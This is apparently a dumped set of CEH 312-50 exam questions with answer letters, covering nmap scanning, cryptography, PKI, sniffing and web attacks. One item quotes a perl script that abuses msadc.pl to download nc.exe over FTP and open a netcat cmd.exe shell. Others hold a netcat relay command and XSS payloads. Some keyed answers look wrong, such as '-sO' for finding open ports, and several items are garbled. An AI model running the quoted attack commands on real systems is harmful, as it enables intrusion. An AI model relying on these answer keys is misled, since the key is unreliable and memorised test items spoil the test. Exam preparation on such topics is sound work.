ECCouncil.Premium.312-50.by.VCEplus.502q (104-204)
A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0. How can NMAP be used to scan these adjacent Class C networks? A. NMAP -P 192.168.1-5. B. NMAP -P 192.168.0.0/16 C. NMAP -P 192.168.1.0,2.0,3.0,4.0,5.0 D. NMAP -P 192.168.1/17
a
A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use? A. -sO B. -sP C. -sS D. -sU
a
After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application? A. SHA1 B. Diffie-Helman C. RSA D. AES
a
An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this? A. g++ hackersExploit.cpp -o calc.exe B. g++ hackersExploit.py -o calc.exe C. g++ -i hackersExploit.pl -o calc.exe D. g++ --compile -i hackersExploit.cpp -o calc.exe
a
Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next? A. Configure the firewall to allow traffic on TCP ports 53 and UDP port 53. B. Configure the firewall to allow traffic on TCP ports 80 and UDP port 443. C. Configure the firewall to allow traffic on TCP port 53. D. Configure the firewall to allow traffic on TCP port 8080.
a
How does an operating system protect the passwords used for account logins? A. The operating system performs a one-way hash of the passwords. B.The operating system stores the passwords in a secret file that users cannot find. C.The operating system encrypts the passwords, and decrypts them when needed. D.The operating system stores all passwords in a protected segment of non-volatile memory.
a
How is sniffing broadly categorized? A. Active and passive B. Broadcast and unicast C. Unmanaged and managed D. Filtered and unfiltered
a
ICMP ping and ping sweeps are used to check for active systems and to check A. if ICMP ping traverses a firewall. B. the route that the ICMP ping took. C. the location of the switchport in relation to the ICMP ping. D. the number of hops an ICMP ping takes to reach a destination.
a
If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP? A. Hping B. Traceroute C. TCP ping D. Broadcast ping
a
Smart cards use which protocol to transfer the certificate in a secure manner? A. Extensible Authentication Protocol (EAP) B. Point to Point Protocol (PPP) C. Point to Point Tunneling Protocol (PPTP) D. Layer 2 Tunneling Protocol (L2TP)
a
The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and A. non-repudiation. B. operability. C. security. D. usability.
a
When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true? A. The key entered is a symmetric key used to encrypt the wireless data. B. The key entered is a hash that is used to prove the integrity of the wireless data. C. The key entered is based on the Diffie-Hellman method. The key is an RSA key used to encrypt the wireless data.
a
When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire? A. Network tap B. Layer 3 switch C. Network bridge D. Application firewall
a
Which of the following does proper basic configuration of snort as a network intrusion detection system require? A. Limit the packets captured to the snort configuration file. B. Capture every packet on the network segment. C. Limit the packets captured to a single segment. D. Limit the packets captured to the /var/log/snort directory.
a
Which of the following identifies the three modes in which Snort can be configured to run? A. Sniffer, Packet Logger, and Network Intrusion Detection System B. Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System C. Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System D. Sniffer, Packet Logger, and Host Intrusion Prevention System
a
Which of the following is a client-server tool utilized to evade firewall inspection? A. tcp-over-dns B. kismet C. nikto D. hping
a
Which of the following is a hashing algorithm? A. MD5 B. PGP C. DES D. ROT13
a
Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)? A. CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide. B. CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad. C. CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations. D. CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual's property or company's asset.
a
Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit? A. They provide a repeatable framework. B. Anyone can run the command line scripts. C. They are available at low cost. D. They are subject to government regulation.
a
Which of the following is optimized for confidential communications, such as bidirectional voice and video? A. RC4 B. RC5 C. MD4 D. MD5
a
Which of the following is used to indicate a single-line comment in structured query language (SQL)? A. -- B. || C. %% D. ''
a
Which of the following items is unique to the N-tier architecture method of designing software applications? A. Application layers can be separated, allowing each layer to be upgraded independently from other layers. B. It is compatible with various databases including Access, Oracle, and SQL. C. Data security is tied into each layer and must be updated for all layers when any upgrade is performed. D. Application layers can be written in C, ASP.NET, or Delphi without any performance loss.
a
Which of the following items of a computer system will an anti-virus program scan for viruses? A. Boot Sector B. Deleted Files C. Windows Process List D. Password Protected Files
a
Which of the following levels of algorithms does Public Key Infrastructure (PKI) use? A. RSA 1024 bit strength B. AES 1024 bit strength C. RSA 512 bit strength D. AES 512 bit strength
a
Which of the following open source tools would be the best choice to scan a network for potential targets? A. NMAP B. NIKTO C. CAIN D. John the Ripper
a
Which security strategy requires using several, varying methods to protect IT systems against attacks? A. Defense in depth B. Three-way handshake C. Covert channels d. Exponential backoff algorithm
a
Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker? A. DataThief B. NetCat C. Cain and Abel D. SQLInjector
a
Which tool would be used to collect wireless packet data? A. NetStumbler B. John the Ripper C. Nessus D. Netcat
a
botnet can be managed through which of the following? A. IRC B. E-Mail C. Linkedin and Facebook D. A vulnerable FTP server
a
A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following? A. Public key B. Private key C. Modulus length D. Email server certificate
b
A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use? A. -sO B. -sP C. -sS D. -sU
b
A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network? A. Fraggle B. MAC Flood C. Smurf D. Tear Drop
b
A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using? A. Spoofing an IP address B. Tunneling scan over SSH C. Tunneling over high port numbers D. Scanning using fragmented IP packets
b
A security administrator notices that the log file of the company's webserver contains suspicious entries: Based on source code analysis, the analyst concludes that the login.php script is vulnerable to A. command injection. B. SQL injection. C. directory traversal. D. LDAP injection.
b
A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database. In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request? A. Semicolon B. Single quote C. Exclamation mark D. Double quote
b
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions: system("perl msadc.pl -h $host -C \"echo open $your >testfile\""); system("perl msadc.pl -h $host -C \"echo $user>>testfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>testfile\""); system("perl msadc.pl -h $host -C \"echo bin>>testfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\""); system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\""); ("perl msadc.pl -h $host -C \"echo quit>>testfile\""); system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); Which exploit is indicated by this script? A. A buffer overflow exploit B. A chained exploit C. A SQL injection exploit D. A denial of service exploit
b
Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company? A. Poly key exchange B. Cross certification C. Poly key reference D. Cross-site exchange
b
One advantage of an application-level firewall is the ability to A. filter packets at the network level. B. filter specific commands, such as http:post. C. retain state information for each packet. D. monitor tcp handshaking.
b
The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services? A. An extensible security framework named COBIT B. A list of flaws and how to fix them C. Web application patches D. A security certification for hardened web applications
b
To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message? A. Recipient's private key B. Recipient's public key C. Master encryption key D. Sender's public key
b
What are the three types of authentication? A. Something you: know, remember, prove B. Something you: have, know, are C. Something you: show, prove, are D. Something you: show, have, prove
b
What is the outcome of the comm"nc -l -p 2222 | nc 10.1.0.43 1234"? A. Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222. B. Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234. C. Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222. D. Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.
b
Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection? A. NMAP -PN -A -O -sS 192.168.2.0/24 B. NMAP -P0 -A -O -p1-65535 192.168.0/24 C. NMAP -P0 -A -sT -p0-65535 192.168.0/16 D. NMAP -PN -O -sS -p 1-1024 192.168.0/8
b
Which of the following is a characteristic of Public Key Infrastructure (PKI)? A. Public-key cryptosystems are faster than symmetric-key cryptosystems. B. Public-key cryptosystems distribute public-keys within digital signatures. C. Public-key cryptosystems do not require a secure key distribution channel. D. Public-key cryptosystems do not provide technical non-repudiation via digital signatures.
b
Which of the following is an example of IP spoofing? A. SQL injections B. Man-in-the-middle C. Cross-site scripting D. ARP poisoning
b
Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations? A. Certificate issuance B. Certificate validation C. Certificate cryptography D. Certificate revocation
b
Which of the following programming languages is most vulnerable to buffer overflow attacks? A. Perl B. C++ C. Python D. Java
b
Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions? A. Firewall B. Honeypot C. Core server D. Layer 4 switch
b
Which tool can be used to silently copy files from USB devices? A. USB Grabber B. USB Dumper C. USB Sniffer D. USB Snoopy
b
While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see? A. 10.10.10.10 B. 127.0.0.1 C. 192.168.1.1 D. 192.168.168.168
b
n attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price? A. By using SQL injection B. By changing hidden form values C. By using cross site scripting D. By utilizing a buffer overflow attack
b
A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users? A. Perform a dictionary attack. B. Perform a brute force attack. C. Perform an attack with a rainbow table. D. Perform a hybrid attack.
c
A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records? A. Locate type=ns B. Request type=ns C. Set type=ns D. Transfer type=ns
c
A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following? A. Cupp B. Nessus C. Cain and Abel D. John The Ripper Pro
c
A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack? A. Implementing server-side PKI certificates for all connections B. Mandating only client-side PKI certificates for all connections C. Requiring client and server PKI certificates for all connections D. Requiring strong authentication for all DNS queries
c
A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend? A. IP Security (IPSEC) B. Multipurpose Internet Mail Extensions (MIME) C. Pretty Good Privacy (PGP) D. Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)
c
A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am. Which of the following programming languages would most likely be used? A. PHP B. C# C. Python D. ASP.NET Correct Answer:
c
A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field: IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox("Vulnerable");>" When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable". Which web applications vulnerability did the analyst discover? A. Cross-site request forgery B. Command injection C. Cross-site scripting D. SQL injection
c
A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command: NMAP -n -sS -P0 -p 80 ***.***.**.** What type of scan is this? A. Quick scan B. Intense scan C. Stealth scan D. Comprehensive scan
c
Advanced encryption standard is an algorithm used for which of the following? A. Data integrity B. Key discovery C. Bulk data encryption D. Key recovery
c
An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next? A. Unplug the network connection on the company's web server. B. Determine the origin of the attack and launch a counterattack. C. Record as much information as possible from the attack. D. Perform a system restart on the company's web server.
c
Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5? A. 768 bit key B. 1025 bit key C. 1536 bit key D. 2048 bit key
c
Fingerprinting VPN firewalls is possible with which of the following tools? A. Angry IP B. Nikto B. Ike-scan C. Arp-scan
c
In the OSI model, where does PPTP encryption take place? A. Transport layer B. Application layer C. Data link layer D. Network layer
c
On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured? A. nessus + B. nessus *s C. nessus & D. nessus -d
c
SOAP services use which technology to format information? A. SATA B. PCI C. XML D. ISDN
c
The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first? A. Investigate based on the maintenance schedule of the affected systems. B. Investigate based on the service level agreements of the systems. C. Investigate based on the potential effect of the incident. D. Investigate based on the order that the alerts arrived in.
c
What is the best defense against privilege escalation vulnerability? A. Patch systems regularly and upgrade interactive login privileges at the system administrator level. B. Run administrator and applications on least privileges and use a content registry for tracking. C. Run services with least privileged accounts and implement multi-factor authentication and authorization. D. Review user roles and administrator privileges for maximum utilization of automation services.
c
What is the broadcast address for the subnet 190.86.168.0/22? A. 190.86.168.255 B. 190.86.255.255 C. 190.86.171.255 D. 190.86.169.255
c
Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)? A. The root CA is the recovery agent used to encrypt data when a user's certificate is lost. B. The root CA stores the user's hash value for safekeeping. C. The CA is the trusted root that issues certificates. D. The root CA is used to encrypt email messages to prevent unintended disclosure of data.
c
Which of the following tools will scan a network to perform vulnerability checks and compliance auditing? A. NMAP B. Metasploit C. Nessus D. BeEF
c
Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall? A. UDP 123 B. UDP 541 C. UDP 514 D. UDP 415
c
o reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings? A. Harvesting B. Windowing C. Hardening D. Stealthing
c
A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field? A. if (billingAddress = 50) {update field} else exit B. if (billingAddress != 50) {update field} else exit C. if (billingAddress >= 50) {update field} else exit D. if (billingAddress <= 50) {update field} else exit
d
A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit? A. Issue the pivot exploit and set the meterpreter. B. Reconfigure the network settings in the meterpreter. C. Set the payload to propagate through the meterpreter. D. Create a route statement in the meterpreter.
d
An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file? A. Timing attack B. Replay attack C. Memory trade-off attack D. Chosen plain-text attack
d
An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key? A. Birthday attack B. Plaintext attack C. Meet in the middle attack D. Chosen ciphertext attack
d
How can a rootkit bypass Windows 7 operating system's kernel mode, code signing policy? A. Defeating the scanner from detecting any code change at the kernel B. Replacing patch system calls with its own version that hides the rootkit (attacker's) actions C. Performing common services for the application process and replacing real applications with fake ones D. Attaching itself to the master boot record in a hard drive and changing the machine's boot sequence/options
d
Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an appropriate method? A. It is impossible to crack hashed user passwords unless the key used to encrypt them is obtained. B. If a user forgets the password, it can be easily retrieved using the hash key stored by administrators. C. Hashing is faster compared to more traditional encryption algorithms. D. Passwords stored using hashes are non-reversible, making finding the password much more difficult.
d
What is a successful method for protecting a router from potential smurf attacks? A. Placing the router in broadcast mode B. Enabling port forwarding on the router C. Installing the router outside of the network's firewall D. Disabling the router from accepting broadcast ping messages
d
What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25? A. tcp.src == 25 and ip.host == 192.168.0.125 B. host 192.168.0.125:25 C. port 25 and host 192.168.0.125 D. tcp.port == 25 and ip.host == 192.168.0.125
d
What is the main disadvantage of the scripting languages as opposed to compiled programming languages? A. Scripting languages are hard to learn. B. Scripting languages are not object-oriented. C. Scripting languages cannot be used to create graphical user interfaces. D. Scripting languages are slower because they require an interpreter to run the code.
d
What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data? A. Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication. B. To get messaging programs to function with this algorithm requires complex configurations. C. It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data. D. It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.
d
What results will the following command yield: 'NMAP -sS -O -p 123-153 192.168.100.3'? A. A stealth scan, opening port 123 and 153 B. A stealth scan, checking open ports 123 to 153 C. A stealth scan, checking all open ports excluding ports 123 to 153 D. A stealth scan, determine operating system, and scanning ports 123 to 153
d
What statement is true regarding LM hashes? A. LM hashes consist in 48 hexadecimal characters. B. LM hashes are based on AES128 cryptographic standard. C. Uppercase characters in the password are converted to lowercase. D. LM hashes are not generated when the password length exceeds 15 characters.
d
Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools? A. ping 192.168.2. B. ping 192.168.2.255 C. for %V in (1 1 255) do PING 192.168.2.%V D. for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"
d
Which command line switch would be used in NMAP to perform operating system detection? A. -OS B. -sO C. -sP D. -O
d
Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations? A. Key registry B. Recovery agent C. Directory D. Key escrow
d
Which of the following descriptions is true about a static NAT? A. A static NAT uses a many-to-many mapping. B. A static NAT uses a one-to-many mapping. C. A static NAT uses a many-to-one mapping. D. A static NAT uses a one-to-one mapping.
d
Which of the following is a common Service Oriented Architecture (SOA) vulnerability? A. Cross-site scripting B. SQL injection C. VPath injection D. XML denial of service issues
d
Which of the following is an example of two factor authentication? A. PIN Number and Birth Date B. Username and Password C. Digital Certificate and Hardware Token D. Fingerprint and Smartcard ID
d
Which of the following parameters enables NMAP's operating system detection feature? A. NMAP -sV B. NMAP -oS C. NMAP -sR D. NMAP -O
d
Which of the following problems can be solved by using Wireshark? A. Tracking version changes of source code B. Checking creation dates on all webpages on a server C. Resetting the administrator password on multiple systems D. Troubleshooting communication resets between two systems
d
Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity? A. Netstat WMI Scan B. Silent Dependencies C. Consider unscanned ports as closed D. Reduce parallel connections on congestion
d
Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run? A. Cavity virus B. Polymorphic virus C. Tunneling virus D. Stealth virus
d
Which of the statements concerning proxy firewalls is correct? A. Proxy firewalls increase the speed and functionality of a network. B. Firewall proxy servers decentralize all activity for an application. C. Proxy firewalls block network packets from passing to and from a protected network. D. Computers establish a connection with a proxy firewall which initiates a new network connection for the client.
d
While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site: <script>alert(" Testing Testing Testing ")</script> Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been detected in the web application? A. Buffer overflow B. Cross-site request forgery C. Distributed denial of service D. Cross-site scripting
d
he fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following? A. Multiple keys for non-repudiation of bulk data B. Different keys on both ends of the transport medium C. Bulk encryption for data transmission over fiber D. The same key on each end of the transmission medium
d
